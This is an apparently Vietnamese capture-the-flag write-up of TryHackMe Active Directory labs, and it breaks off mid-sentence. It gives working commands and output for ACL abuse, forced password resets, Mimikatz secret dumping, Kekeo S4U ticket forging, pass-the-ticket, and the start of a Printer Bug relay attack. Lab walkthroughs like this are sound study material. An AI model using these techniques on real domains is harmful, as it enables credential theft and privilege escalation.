Permission Delegation
Tưởng tượng chúng ta làm việc cho một tổ chức có 50000 nhân viên và chỉ có 3 user được phép thực hiện các thao tác ở trên các credential. Tất nhiên, là bất khả thi cho 3 user đó để có thể xử lý được hết tất cả các request từ các user chẳng hạn như reset password. Để giải quyết vấn đề này, chúng ta cần sử dụng tính năng Permission Delegation của AD để ủy quyền reset password cho một đội nào đó chẳng hạn như đội Helpdesk.
Trong các tổ chức lớn, việc tuân thủ nguyên lý quyền tối thiểu khi triển khai Permission Delegation có thể bị khai thác.
AD cho phép admin có thể cấu hình các Access Control Entry (ACE), vốn dùng để mô tả quyền mà các AD object khác có ở trên một AD object nào đó, ở trong các Discretionary Access Control List (DACL). Hầu như mọi AD object đều có thể được bảo vệ bởi các ACE. Tuy nhiên, nếu các ACE đó bị cấu hình sai, attacker có thể khai thác chúng. Vì thế mà việc khai thác Permission Delegation thường được gọi là ACL-based attack.
Ví dụ, nếu đội IT Support được cấp ForceChangePassword
ACE trên nhóm Domain Users, đây có thể là một cấu hình không an toàn vì nó cho phép reset password của các tài khoản có đặc quyền.
Exploiting ACEs
Có một lượng lớn các ACE có thể bị khai thác nếu như được cấu hình không an toàn: Edges — BloodHound 4.3.1 documentation. Một số ACE nổi bật:
ForceChangePassword
: Có thể đặt mật khẩu mới cho người dùng mà không cần biết mật khẩu hiện tại.AddMembers
: Có thể thêm người dùng, nhóm, hoặc máy tính (kể cả tài khoản của mình) vào nhóm mục tiêu.GenericAll
: Toàn quyền điều khiển đối tượng, bao gồm đổi mật khẩu người dùng, đăng ký SPN hoặc thêm đối tượng AD vào nhóm.GenericWrite
: Có thể cập nhật các tham số không được bảo vệ của đối tượng, như scriptPath để thực thi script khi người dùng đăng nhập.WriteOwner
: Có thể cập nhật chủ sở hữu đối tượng, giúp chiếm quyền sở hữu và có thêm quyền.WriteDACL
: Có thể ghi ACE mới vào DACL của đối tượng, như ghi ACE để cấp quyền kiểm soát toàn bộ đối tượng.AllExtendedRights
: Có thể thực hiện bất kỳ hành động nào liên quan đến quyền AD mở rộng, như ép đổi mật khẩu người dùng.
Bloodhound
Sử dụng BloodHound để kiểm tra user account hiện tại đang đăng nhập vào host thmwrk1
thông qua RDP:
Mặc dù ta có thể RDP vào thmwrk1
nhưng nó chỉ cho chúng ta quyền truy cập ở mức thấp.
Do domain được phân cấp, bước đầu tiên ta cần làm là kiểm soát nhóm “Tier 2 Admins” bởi vì nhóm này có quyền quản trị trên tất cả các workstation.
Tiếp tục sử dụng BloodHound để truy vấn xem có path nào mà ta có thể sử dụng để kiểm soát nhóm “Tier 2 Admins” hay không.
Kết quả cho thấy một admin nào đó đã cấu hình Permission Delegation sai vì cấp ACE AddMembers
ở trên nhóm IT Support cho Domain Users. Điều này đồng nghĩa với việc bất kỳ thành viên nào của Domain Users (kể cả chúng ta) đều có thể thêm account vào nhóm IT Support. Ngoài ra, nhóm IT Support có ForceChangePassword
ACE trên các thành viên của nhóm “Tier 2 Admins”.
Để khai thác, trước tiên ta cần thêm tài khoản hiện tại vào nhóm IT Support:
PS C:\Users\louis.thornton> Add-ADGroupMember "IT Support" -Members "louis.thornton"
Kiểm tra lại bằng câu lệnh sau:
PS C:\Users\louis.thornton> Get-ADGroupMember -Identity "IT Support"
...
distinguishedName : CN=louis.thornton,OU=Consulting,OU=People,DC=za,DC=tryhackm
e,DC=loc
name : louis.thornton
objectClass : user
objectGUID : 29fd7f79-3a96-4a3e-b590-0264e7a6501e
SamAccountName : louis.thornton
SID : S-1-5-21-3885271727-2693558621-2658995185-1133
Sau đó, tìm một Tier 2 admin để reset password bằng câu lệnh sau:
PS C:\Users\louis.thornton> Get-ADGroupMember -Identity "Tier 2 Admins"
...
distinguishedName : CN=t2_melanie.davies,OU=T2
Admins,OU=Admins,DC=za,DC=tryhackme,DC=loc
name : t2_melanie.davies
objectClass : user
objectGUID : c9625ed3-0391-40ba-9c6d-b4046049c434
SamAccountName : t2_melanie.davies
SID : S-1-5-21-3885271727-2693558621-2658995185-5929
Thực hiện reset password:
$Password=ConvertTo-SecureString "123456" -AsPlainText -Force
Set-ADAccountPassword -Identity "t2_melanie.davies" -Reset -NewPassword $Password
Set-ADAccountPassword : Access is denied
At line:1 char:1
+ Set-ADAccountPassword -Identity "t2_melanie.davies" -Reset -NewPasswo ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (t2_melanie.davies:ADAccount) [Set-ADAccountPassword], UnauthorizedAccessException
+ FullyQualifiedErrorId : ActiveDirectoryCmdlet:System.UnauthorizedAccessException,Microsoft.ActiveDirectory.Management.Commands.SetADAccountPassword
Lỗi “Access is denied” xuất hiện là do các quyền của IT Support dành cho chúng ta chưa được lan truyền hoàn toàn ở trên domain. Việc cập nhật quyền thường được diễn ra theo các chu kỳ 10 phút. Chúng ta có thể thực hiện lan truyền quyền một cách thủ công thông qua câu lệnh:
gpupdate /force
Sau đó, logout và login.
Thực hiện reset password lại thì gặp lỗi về password policy:
PS C:\Users\louis.thornton> $Password=ConvertTo-SecureString "12345678" -AsPlainText -Force
PS C:\Users\louis.thornton> Set-ADAccountPassword -Identity "t2_melanie.davies"
-Reset -NewPassword $Password
Set-ADAccountPassword : The password does not meet the length, complexity, or
history requirement of the domain.
At line:1 char:1
+ Set-ADAccountPassword -Identity "t2_melanie.davies" -Reset -NewPasswo ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidData: (t2_melanie.davies:ADAccount) [Set-ADAccountPassword], ADPasswordComplexityException
+ FullyQualifiedErrorId : ActiveDirectoryServer:1325,Microsoft.ActiveDirectory.Management.Commands.SetADAccountPassword
Sử dụng một mật khẩu phức tạp hơn và thành công:
PS C:\Users\louis.thornton> $Password=ConvertTo-SecureString "Abc123!@#" -AsPlainText -Force
PS C:\Users\louis.thornton> Set-ADAccountPassword -Identity "t2_melanie.davies"-Reset -NewPassword $Password
Sau đó, đăng nhập vào host thmwrk1
với username là za.tryhackme.loc\t2_melanie.davies
và password vừa thiết lập:
za\t2_melanie.davies@THMWRK1 C:\Users\t2_melanie.davies>whoami
za\t2_melanie.davies
za\t2_melanie.davies@THMWRK1 C:\Users\Administrator\Desktop>more flag1.txt
THM{Permission.Delegation.FTW!}
THM{Permission.Delegation.FTW!}
Kerberos Delegation
Khi nói đến AD Delegation, ta sẽ nói về Kerberos Delegation chứ không phải Permission Delegation.
Kerberos Delegation cho phép một ứng dụng truy cập tài nguyên được lưu trên một server khác. Ví dụ, một web server cần truy cập vào một SQL database trên database server. Thông thường, nếu không có Kerberos Delegation, chúng ta phải dùng một tài khoản dịch vụ AD (AD service account) và cấp quyền trực tiếp cho nó trên database. Tài khoản dịch vụ này sẽ được dùng để xác thực mỗi khi có yêu cầu từ ứng dụng web gửi đến database.
Với Kerberos Delegation, tài khoản dịch vụ có thể đóng vai trò trung gian giữa tài khoản người dùng và database. Cụ thể, khi được ủy quyền, mỗi lần người dùng đăng nhập vào ứng dụng web, tài khoản dịch vụ sẽ yêu cầu quyền truy cập database dựa trên quyền của người dùng đó. Nhờ vậy, chúng ta không cần cấp quyền trực tiếp cho từng tài khoản người dùng, mà chỉ cần cấp quyền cho tài khoản dịch vụ.
Có hai loại Kerberos Delegation:
- Unconstrained: không có ràng buộc gì.
- Constrained:
Unconstrained Delegation
Xét trường hợp sau: có một client muốn xác thực Kerberos với server đầu tiên (Hop 1) và server này cần phải truy cập đến các tài nguyên ở trên server thứ hai (Hop 2) thay mặt người dùng.
Trong trường hợp này, Unconstrained Delegation có thể được sử dụng như sau: khi người dùng gửi một TGS để truy cập server đầu tiên có cấu hình Unconstrained Delegation thì họ sẽ cần phải đính kèm TGT ở trong cùng request. Bằng cách này, server đầu tiên sẽ có thể yêu cầu TGS thay cho người dùng để truy cập đến server thứ hai.
Cấu hình Unconstrained Delegation sử dụng Active Directory Users and Computers Tool (ADUC) thuộc chương trình Server Manager của Windows Server:
Nếu attacker có thể xâm phạm được server có cấu hình Unconstrained Delegation thì hắn có thể trích xuất được các TGT của các user đang thực hiện kết nối server này. Sau đây là một số cách ép user kết nối đến server bị xâm phạm mà có cấu hình Unconstrained Delegation:
- Responder
- ARP Poisoning
- Rogue DHCPv6
- SpoolSample
- Phishing
Chi tiết về cách khai thác Unconstrained Delegation: [Exploiting Unconstrained Delegation | by Riccardo Ancarani | Medium](https://medium.com/@riccardo.ancarani94/exploiting-unconstrained-delegation-a81eabbd6976)
Constrained Delegation
Để khắc phục vấn đề của Unconstrained Delegation, Microsoft tạo ra Constrained Delegation vào năm 2003. Loại ủy quyền này giới hạn các loại service mà một account có thể được ủy quyền. Sau đây là một số dịch vụ có thể được ủy quyền để yêu cầu TGS:
- HTTP - sử dụng cho các ứng dụng web nhằm cho phép chuyển tiếp việc xác thực sử dụng các AD credential.
- CIFS (Common Internet File System) được sử dụng cho mục đích chia sẻ tập tin.
- LDAP - ủy quyền cho LDAP service để thực hiện một số hành động chẳng hạn như reset password.
- HOST - ủy quyền cho account để thực hiện tất cả các hành động ở trên host.
- MSSQL - ủy quyền cho SQL service nhằm cho phép chuyển tiếp việc xác thực đến các database.
Việc khai thác Constrained Delegation khó hơn Unconstrained Delegation vì account được ủy quyền bị giới hạn về loại dịch có thể truy cập. Tuy nhiên, vẫn có thể khai thác theo cách sau: nếu chúng ta có thể xâm phạm được một AD account mà có cấu hình Constrained Delegation và biết được password hoặc NTLM hash của account này, chúng ta có thể tạo ra một TGT cho account này. Sau đó, sử dụng TGT vừa tạo để thực thi các yêu cầu TGS cho bất kỳ non-sensitive user nào nhằm truy cập vào service dưới danh nghĩa của user đó.
Resource-Based Constrained Delegation
Thực tế, có ba loại Delegation và loại thứ ba này xứng đáng được đề cập riêng. Được giới thiệu vào năm 2012, Resource-Based Constrained Delegation (RBCD) cho phép các service quy định những đối tượng nào có thể được ủy quyền để truy cập vào nó. Điều này giúp cho chủ sở hữu của service kiểm soát chính xác ai được phép sử dụng service của mình.
Xét ví dụ của Unconstrained Delegation ở trên, thay vì cấu hình ở trên server đầu tiên rằng client có thể ủy quyền cho nó để kết nối đến server thứ hai thay mặt cho client, chúng ta sẽ thiết lập trên server thứ hai rằng server đầu tiên được phép nhận sự ủy quyền từ client để truy cập vào server này. Như vậy, RBCD khác hai loại Delegation trên ở chỗ nó được cấu hình ở trên service thay vì ở trên tài khoản được ủy quyền.
Về mặt kỹ thuật, RBCD được kiểm soát bởi thuộc tính msDS-AllowedToActOnBehalfOfOtherIdentity
của domain controller. Thuộc tính này chứa một security descriptor cho đối tượng được phép truy cập đến service.
Có thể khai thác RBCD để truy cập trái phép vào một service nào đó theo kịch bản sau: giả sử chúng ta có quyền ghi thuộc tính msDS-AllowedToActOnBehalfOfOtherIdentity
của domain controller. Chúng ta sẽ thiết lập security descriptor của thuộc tính này để nó chứa một account mà ta kiểm soát nhằm cho phép account đó có thể truy cập đến service. Cuối cùng, giả dạng một người dùng nào để thực hiện ủy quyền đến account mà ta kiểm soát để truy cập đến service.
Chi tiết về cách khai thác RBCD: [Resource-Based Constrained Delegation Abuse](https://blog.netwrix.com/2022/09/29/resource-based-constrained-delegation-abuse/)
Lab
Sơ đồ mạng:
Trước tiên, ta sẽ enumerate các delegation khả dụng bằng cách sử dụng Get-NetUser
cmdlet của PowerSploit:
PS C:\Users\t2_melanie.davies> Import-Module C:\Tools\PowerView.ps1
PS C:\Users\t2_melanie.davies> Get-NetUser -TrustedToAuth
logoncount : 46
badpasswordtime : 1/1/1601 12:00:00 AM
distinguishedname : CN=IIS Server,CN=Users,DC=za,DC=tryhackme,DC=loc
objectclass : {top, person, organizationalPerson, user}
displayname : IIS Server
lastlogontimestamp : 10/2/2024 12:29:19 PM
userprincipalname : svcIIS@za.tryhackme.loc
name : IIS Server
objectsid : S-1-5-21-3885271727-2693558621-2658995185-6155
samaccountname : svcIIS
codepage : 0
samaccounttype : USER_OBJECT
accountexpires : NEVER
countrycode : 0
whenchanged : 10/2/2024 11:29:19 AM
instancetype : 4
usncreated : 78494
objectguid : 11e42287-0a25-4d73-800d-b62e2d2a2a4b
sn : Server
lastlogoff : 1/1/1601 12:00:00 AM
msds-allowedtodelegateto : {WSMAN/THMSERVER1.za.tryhackme.loc,
WSMAN/THMSERVER1, http/THMSERVER1.za.tryhackme.loc,
http/THMSERVER1}
objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=tryhackme,DC
=loc
dscorepropagationdata : 1/1/1601 12:00:00 AM
serviceprincipalname : HTTP/svcServWeb.za.tryhackme.loc
givenname : IIS
lastlogon : 10/5/2024 8:17:44 AM
badpwdcount : 0
cn : IIS Server
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD,
TRUSTED_TO_AUTH_FOR_DELEGATION
whencreated : 4/27/2022 11:26:21 AM
primarygroupid : 513
pwdlastset : 4/29/2022 11:50:25 AM
usnchanged : 172124
Thông qua output trên, ta thấy rằng tài khoản svcIIS
có thể được ủy quyền để truy cập vào dịch vụ HTTP và WSMAN ở trên THMSERVER1
. Việc thực thi PowerShell từ xa sử dụng hai service này. Như vậy, chúng ta sẽ sử dụng tài khoản có Constrained Delegation là svcIIS
làm tài khoản được ủy quyền và mạo danh một tài khoản Tier 1 Admin bất kỳ để sử dụng dịch vụ HTTP và WSMAN của THMSERVER1
.
”Trùng hợp thay”, có một tài khoản có tên là svcIIS
chạy ở trên THMWRK1
:
za\t2_melanie.davies@THMWRK1 C:\Users\t2_melanie.davies>wmic service where "startname like '%svc%'" get name, startname
Name StartName
thmwinauth svcIIS@za.tryhackme.loc
Do chúng ta đã có quyền quản trị ở trên THMWRK1
(thông qua việc khai thác [[#Permission Delegation#Bloodhound]]) nên ta sẽ thực hiện dump LSASecrets, một phần của Windows Registry Hive dùng để lưu credential của các service (svcISS
là một service account), bằng Mimikatz.
mimikatz # token::elevate
Token Id : 0
User name :
SID name : NT AUTHORITY\SYSTEM
492 {0;000003e7} 1 D 17552 NT AUTHORITY\SYSTEM S-1-5-18
(04g,21p) Primary
-> Impersonated !
* Process Token : {0;00089477} 0 D 567700 ZA\t2_melanie.davies S-1-5-21-3885271727-2693558621-2658995185-5929 (12g,24p) Primary
* Thread Token : {0;000003e7} 1 D 585114 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Impersonation (Delegation)
mimikatz # lsadump::secrets
Domain : THMWRK1
SysKey : a1403e57976b472bce5f231922ca3942
Local name : THMWRK1 ( S-1-5-21-3226461851-763325627-4205969673 )
Domain name : ZA ( S-1-5-21-3885271727-2693558621-2658995185 )
Domain FQDN : za.tryhackme.loc
Policy subsystem is : 1.18
LSA Key(s) : 1, default {cfcff4be-beab-7d93-cfa3-edb6a9a3bf27}
[00] {cfcff4be-beab-7d93-cfa3-edb6a9a3bf27} 929bd1cdc726d31f5eea6fa5266a09521afd0be6309a08fd604c9a95c2af4463
Secret : $MACHINE.ACC
cur/text: 0FFIKa"c[#L6T>=.s*ZW'Gz04FL&7,"VjxxhLeXqmI\%Q%c..g?=olZZlnTA#J@;*8+&?neR%>l_W!w&.oz@1MDJHs`&suI rmg,g GQsb%),mlWLo?6$kqP
NTLM:4207d1b7e4b942da2371174b772fdf5e
SHA1:c67c43d5a5d002f67371024ef1aa22db76ab44dbold/text: 0FFIKa"c[#L6T>=.s*ZW'Gz04FL&7,"VjxxhLeXqmI\%Q%c..g?=olZZlnTA#J@;*8+&?neR%>l_W!w&.oz@1MDJHs`&suI rmg,g GQsb%),mlWLo?6$kqP
NTLM:4207d1b7e4b942da2371174b772fdf5e
SHA1:c67c43d5a5d002f67371024ef1aa22db76ab44db
Secret : DefaultPassword
old/text: vagrant
Secret : DPAPI_SYSTEM
cur/hex : 01 00 00 00 b6 54 c4 83 d9 88 10 f6 ee ae fc b7 ed 2d a2 d6 47 11 3f 8f 4a 6d 7f 72 35 b8 a2 93 3d 5c 5e 3f 03 8d 79 49 90 e7 2e e0
full: b654c483d98810f6eeaefcb7ed2da2d647113f8f4a6d7f7235b8a2933d5c5e3f038d794990e72ee0
m/u : b654c483d98810f6eeaefcb7ed2da2d647113f8f / 4a6d7f7235b8a2933d5c5e3f038d794990e72ee0
old/hex : 01 00 00 00 10 4d a3 82 e2 da 30 1f 33 d6 49 a4 c9 81 26 e5 25 59 bb 9f 8a 76 b1 5d 59 c6 87 c6 32 b7 02 0b c1 5b 24 f4 44 d0 74 31
full: 104da382e2da301f33d649a4c98126e52559bb9f8a76b15d59c687c632b7020bc15b24f444d07431
m/u : 104da382e2da301f33d649a4c98126e52559bb9f / 8a76b15d59c687c632b7020bc15b24f444d07431
Secret : NL$KM
cur/hex : 10 bb 99 02 da 94 4a 26 cd ad 07 f3 62 64 53 5c a8 12 be e3 16 1f 8f 99 ae ab 97 37 c4 bc ee df 63 7c 2f 6d 07 c5 d9 5e 29 e7 ce ce 48 52 47 19 8a 03 99 ff 97 ec 7f 49 a1 79 15 d9 a0 04 ac 58
old/hex : 10 bb 99 02 da 94 4a 26 cd ad 07 f3 62 64 53 5c a8 12 be e3 16 1f 8f 99 ae ab 97 37 c4 bc ee df 63 7c 2f 6d 07 c5 d9 5e 29 e7 ce ce 48 52 47 19 8a 03 99 ff 97 ec 7f 49 a1 79 15 d9 a0 04 ac 58
Secret : _SC_thmwinauth / service 'thmwinauth' with username : svcIIS@za.tryhackme.loc
cur/text: Password1@
Tìm được password của svcIIS
là Password1@
.
Trước tiên, sử dụng Kekeo để tạo TGT cho svcIIS
từ password đã tìm được.
kekeo # tgt::ask /user:svcIIS /domain:za.tryhackme.loc /password:Password1@
Realm : za.tryhackme.loc (za)
User : svcIIS (svcIIS)
CName : svcIIS [KRB_NT_PRINCIPAL (1)]
SName : krbtgt/za.tryhackme.loc [KRB_NT_SRV_INST (2)]
Need PAC : Yes
Auth mode : ENCRYPTION KEY 23 (rc4_hmac_nt ): 43460d636f269c709b20049cee
36ae7a
[kdc] name: THMDC.za.tryhackme.loc (auto)
[kdc] addr: 10.200.77.101 (auto)
> Ticket in file 'TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi'
Enumerate AD để tìm ra một Tier 1 Admin bất kỳ:
PS C:\Users\t2_melanie.davies> Get-ADGroupMember -Identity "Tier 1 Admins"
...
distinguishedName : CN=t1_steven.blake,OU=T1
Admins,OU=Admins,DC=za,DC=tryhackme,DC=loc
name : t1_steven.blake
objectClass : user
objectGUID : 8b20d2ff-a61d-424e-9dd0-c6c440a2f431
SamAccountName : t1_steven.blake
SID : S-1-5-21-3885271727-2693558621-2658995185-6123
Tiếp đến, chúng ta sẽ tạo ra các TGS dùng để sử dụng dịch vụ HTTP và WSMAN từ TGT của service account (svcISS
) được ủy quyền ở trên:
kekeo # tgs::s4u /tgt:TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi /user:t1_steven.blake /service:http/THMSERVER1.za.tryhackme.loc
Ticket : TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi
[krb-cred] S: krbtgt/za.tryhackme.loc @ ZA.TRYHACKME.LOC
[krb-cred] E: [00000012] aes256_hmac
[enc-krb-cred] P: svcIIS @ ZA.TRYHACKME.LOC
[enc-krb-cred] S: krbtgt/za.tryhackme.loc @ ZA.TRYHACKME.LOC
[enc-krb-cred] T: [10/5/2024 8:44:26 AM ; 10/5/2024 6:44:26 PM] {R:10/12/2024 8:44:26 AM}
[enc-krb-cred] F: [40e10000] name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
[enc-krb-cred] K: ENCRYPTION KEY 18 (aes256_hmac ): 2c888c40a85399705ce69aec8e5ade0139b8c1cb8ab9d874ba87047d6cb8e91a
[s4u2self] t1_steven.blake
[kdc] name: THMDC.za.tryhackme.loc (auto)
[kdc] addr: 10.200.77.101 (auto)
> Ticket in file 'TGS_t1_steven.blake@ZA.TRYHACKME.LOC_svcIIS@ZA.TRYHACKME.LOC.kirbi'
Service(s):
[s4u2proxy] http/THMSERVER1.za.tryhackme.loc
> Ticket in file 'TGS_t1_steven.blake@ZA.TRYHACKME.LOC_http~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi'
kekeo # tgs::s4u /tgt:TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi /user:t1_steven.blake /service:wsman/THMSERVER1.za.tryhackme.loc
Ticket : TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi
[krb-cred] S: krbtgt/za.tryhackme.loc @ ZA.TRYHACKME.LOC
[krb-cred] E: [00000012] aes256_hmac
[enc-krb-cred] P: svcIIS @ ZA.TRYHACKME.LOC
[enc-krb-cred] S: krbtgt/za.tryhackme.loc @ ZA.TRYHACKME.LOC
[enc-krb-cred] T: [10/5/2024 8:44:26 AM ; 10/5/2024 6:44:26 PM] {R:10/12/2024 8:44:26 AM}
[enc-krb-cred] F: [40e10000] name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
[enc-krb-cred] K: ENCRYPTION KEY 18 (aes256_hmac ): 2c888c40a85399705ce69aec8e5ade0139b8c1cb8ab9d874ba87047d6cb8e91a
[s4u2self] t1_steven.blake
[kdc] name: THMDC.za.tryhackme.loc (auto)
[kdc] addr: 10.200.77.101 (auto)
> Ticket in file 'TGS_t1_steven.blake@ZA.TRYHACKME.LOC_svcIIS@ZA.TRYHACKME.LOC.kirbi'
Service(s):
[s4u2proxy] wsman/THMSERVER1.za.tryhackme.loc
> Ticket in file 'TGS_t1_steven.blake@ZA.TRYHACKME.LOC_wsman~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi'
Sử dụng Mimikatz để chèn các TGS vào bộ nhớ nhằm truy cập các dịch vụ:
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # kerberos::ptt TGS_t1_steven.blake@ZA.TRYHACKME.LOC_wsman~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi
* File: 'TGS_t1_steven.blake@ZA.TRYHACKME.LOC_wsman~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi': OK
mimikatz # kerberos::ptt TGS_t1_steven.blake@ZA.TRYHACKME.LOC_http~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi
* File: 'TGS_t1_steven.blake@ZA.TRYHACKME.LOC_http~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi': OK
Nhớ revert token trước khi import các ticket.
Kiểm tra bằng klist
thì thấy có 2 TGS trong bộ nhớ như mong đợi:
za\t2_melanie.davies@THMWRK1 C:\Users\t2_melanie.davies>klist
Current LogonId is 0:0xbbd35
Cached Tickets: (2)
#0> Client: t1_steven.blake @ ZA.TRYHACKME.LOC
Server: http/THMSERVER1.za.tryhackme.loc @ ZA.TRYHACKME.LOC
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
Start Time: 10/5/2024 9:01:51 (local)
End Time: 10/5/2024 18:44:26 (local)
Renew Time: 10/12/2024 8:44:26 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called:
#1> Client: t1_steven.blake @ ZA.TRYHACKME.LOC
Server: wsman/THMSERVER1.za.tryhackme.loc @ ZA.TRYHACKME.LOC
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
Start Time: 10/5/2024 9:03:18 (local)
End Time: 10/5/2024 18:44:26 (local)
Renew Time: 10/12/2024 8:44:26 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called:
Cuối cùng, tạo PSSession
(sử dụng WinRM1) ở trên THMSERVER1
để truy cập và lấy flag:
PS C:\Users\t2_melanie.davies> New-PSSession -ComputerName thmserver1.za.tryhackme.loc
Id Name ComputerName ComputerType State ConfigurationName Availability
-- ---- ------------ ------------ ----- ----------------- ------------
1 WinRM1 thmserver1.z... RemoteMachine Opened Microsoft.PowerShell Available
PS C:\Users\t2_melanie.davies> Enter-PSSession -ComputerName thmserver1.za.tryhackme.loc
[thmserver1.za.tryhackme.loc]: PS C:\Users\t1_steven.blake\Documents> type C:\Users\Administrator\Desktop\flag2.txt
THM{Constrained.Delegation.Can.Be.Very.Bad}
THM{Constrained.Delegation.Can.Be.Very.Bad}
Automated Relays
Việc xác thực diễn ra thường xuyên ở trong network và nếu ta đủ may mắn thì có thể capture được NTLM challenge rồi dùng nó để truy cập vào các tài nguyên trái phép như đã đề cập ở trong Relaying the Challenge.
Tuy nhiên, chúng ta có thể ép cho quá trình xác thực được diễn ra thay vì chờ đợi.
Machine Accounts
Là tài khoản đại diện cho từng host ở trong AD. Một số trường hợp sử dụng của machine account:
- Được sử dụng bởi domain controller để đồng bộ các cập nhật và thay đổi ở trong AD.
- Khi chúng ta yêu cầu một chứng chỉ trên danh nghĩa của host mà ta đang làm việc, machine account của host đó sẽ được sử dụng để xác thực với AD Certificate Service (AD CS).
Ngoài ra, có trường hợp một machine account của một host có quyền quản trị ở trên host khác và đây là một attack vector mà ta có thể lạm dụng. Sử dụng BloodHound để tìm ra mối quan hệ này ở trong AD bằng một custom query như sau:
MATCH p=(c1:Computer)-[r1:MemberOf*1..]->(g:Group)-[r2:AdminTo]->(n:Computer) RETURN p
Câu quey này được dùng để truy vấn những host mà có mối quan hệ AdminTo
với một host khác.
Kết quả cho thấy THMSERVER2
có quyền quản trị ở trên THMSERVER1
.
The Printer Bug
Bug này liên quan đến giao thức MS-RPRN (PrintSystem Remote Protocol), cho phép một domain user có thể ép một host từ xa đang chạy dịch vụ Print Spooler thực hiện xác thực với một địa chỉ IP bất kỳ. Để khai thác bug này, ngoài các đặc quyền quản trị của machine account, chúng ta còn cần 4 điều kiện sau:
- Một tập các AD credential hợp lệ.
- Kết nối mạng đến dịch vụ SMB ở trên target host.
- Target host bắt buộc phải chạy dịch vụ Print Spooler.
- Target host không ép buộc SMB signing.
Điều kiện 1 và 2 đã thỏa nên ta cần thỏa thêm điều kiện 3 và 4.
Print Spooler Service
Chúng ta cần xác định xem dịch vụ Print Spooler có đang chạy hay không. Do chúng ta không có quyền truy cập vào THMSERVER2
, chúng ta sẽ truy vấn từ xa thông qua một câu truy vấn WMI từ SSH session ở trên THMWRK1
:
PS C:\Users\t2_melanie.davies> GWMI Win32_Printer -Computer thmserver2.za.tryhackme.loc
GWMI : Access is denied. (Exception from HRESULT: 0x80070005 (E_ACCESSDENIED))
At line:1 char:1
+ GWMI Win32_Printer -Computer thmserver2.za.tryhackme.loc
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [Get-WmiObject], UnauthorizedAccessException
+ FullyQualifiedErrorId : System.UnauthorizedAccessException,Microsoft.PowerShell.Commands.GetWmiObjectCommand
Thử với cmdlet Get-PrinterPort
cũng gặp lỗi.
PS C:\Users\t2_melanie.davies> Get-PrinterPort -ComputerName thmserver2.za.tryhackme.loc
Get-PrinterPort : An error occurred while performing the specified operation. See the error details for more information.
At line:1 char:1
+ Get-PrinterPort -ComputerName thmserver2.za.tryhackme.loc
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (MSFT_PrinterPort:ROOT/StandardCimv2/MSFT_PrinterPort) [Get-PrinterPort], CimException
+ FullyQualifiedErrorId : HRESULT 0x8007007b,Get-PrinterPort
Đây là một bug của TryHackMe (có thể tìm thông tin ở trong Discord server của TryHackMe). Do đó, chúng ta sẽ mặc định là dịch vụ Print Spooler đang chạy ở trên `THMSERVER2` và bỏ qua bước kiểm tra trên.
Output mong muốn:
PS C:\> GWMI Win32_Printer -Computer thmserver2.za.tryhackme.loc
Location :
Name : Microsoft XPS Document Writer
PrinterState : 0
PrinterStatus : 3
ShareName :
SystemName : THMSERVER2
Location :
Name : Microsoft Print to PDF
PrinterState : 0
PrinterStatus : 3
ShareName :
SystemName : THMSERVER2
SMB Signing
Để có thể ép target host thực hiện xác thực, SMB signing phải không được ép buộc. Lưu ý rằng SMB signing được enabled không đồng nghĩa với việc nó được ép buộc.
Sử dụng nmap
để kiểm tra xem SMB signing của THMSERVER2
có được ép buộc hay không:
thm@thm:~# nmap --script=smb2-security-mode -p445 thmserver1.za.tryhackme.loc thmserver2.za.tryhackme.loc
Nmap scan report for distributor.za.tryhackme.loc (172.31.1.201)
Host is up (0.62s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
Nmap scan report for 172.31.1.202
Host is up (0.38s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
Nmap done: 2 IP addresses (2 hosts up) scanned in 4.59 seconds
Exploiting
Mục đích là truy cập vào THMSERVER1
.
Lưu ý rằng việc lạm dụng dịch vụ Print Spooler có thể làm cho nó bị crash và không đảm bảo rằng ta nhận được callback.
Ta sẽ sử dụng SpoolSample để ép THMSERVER2
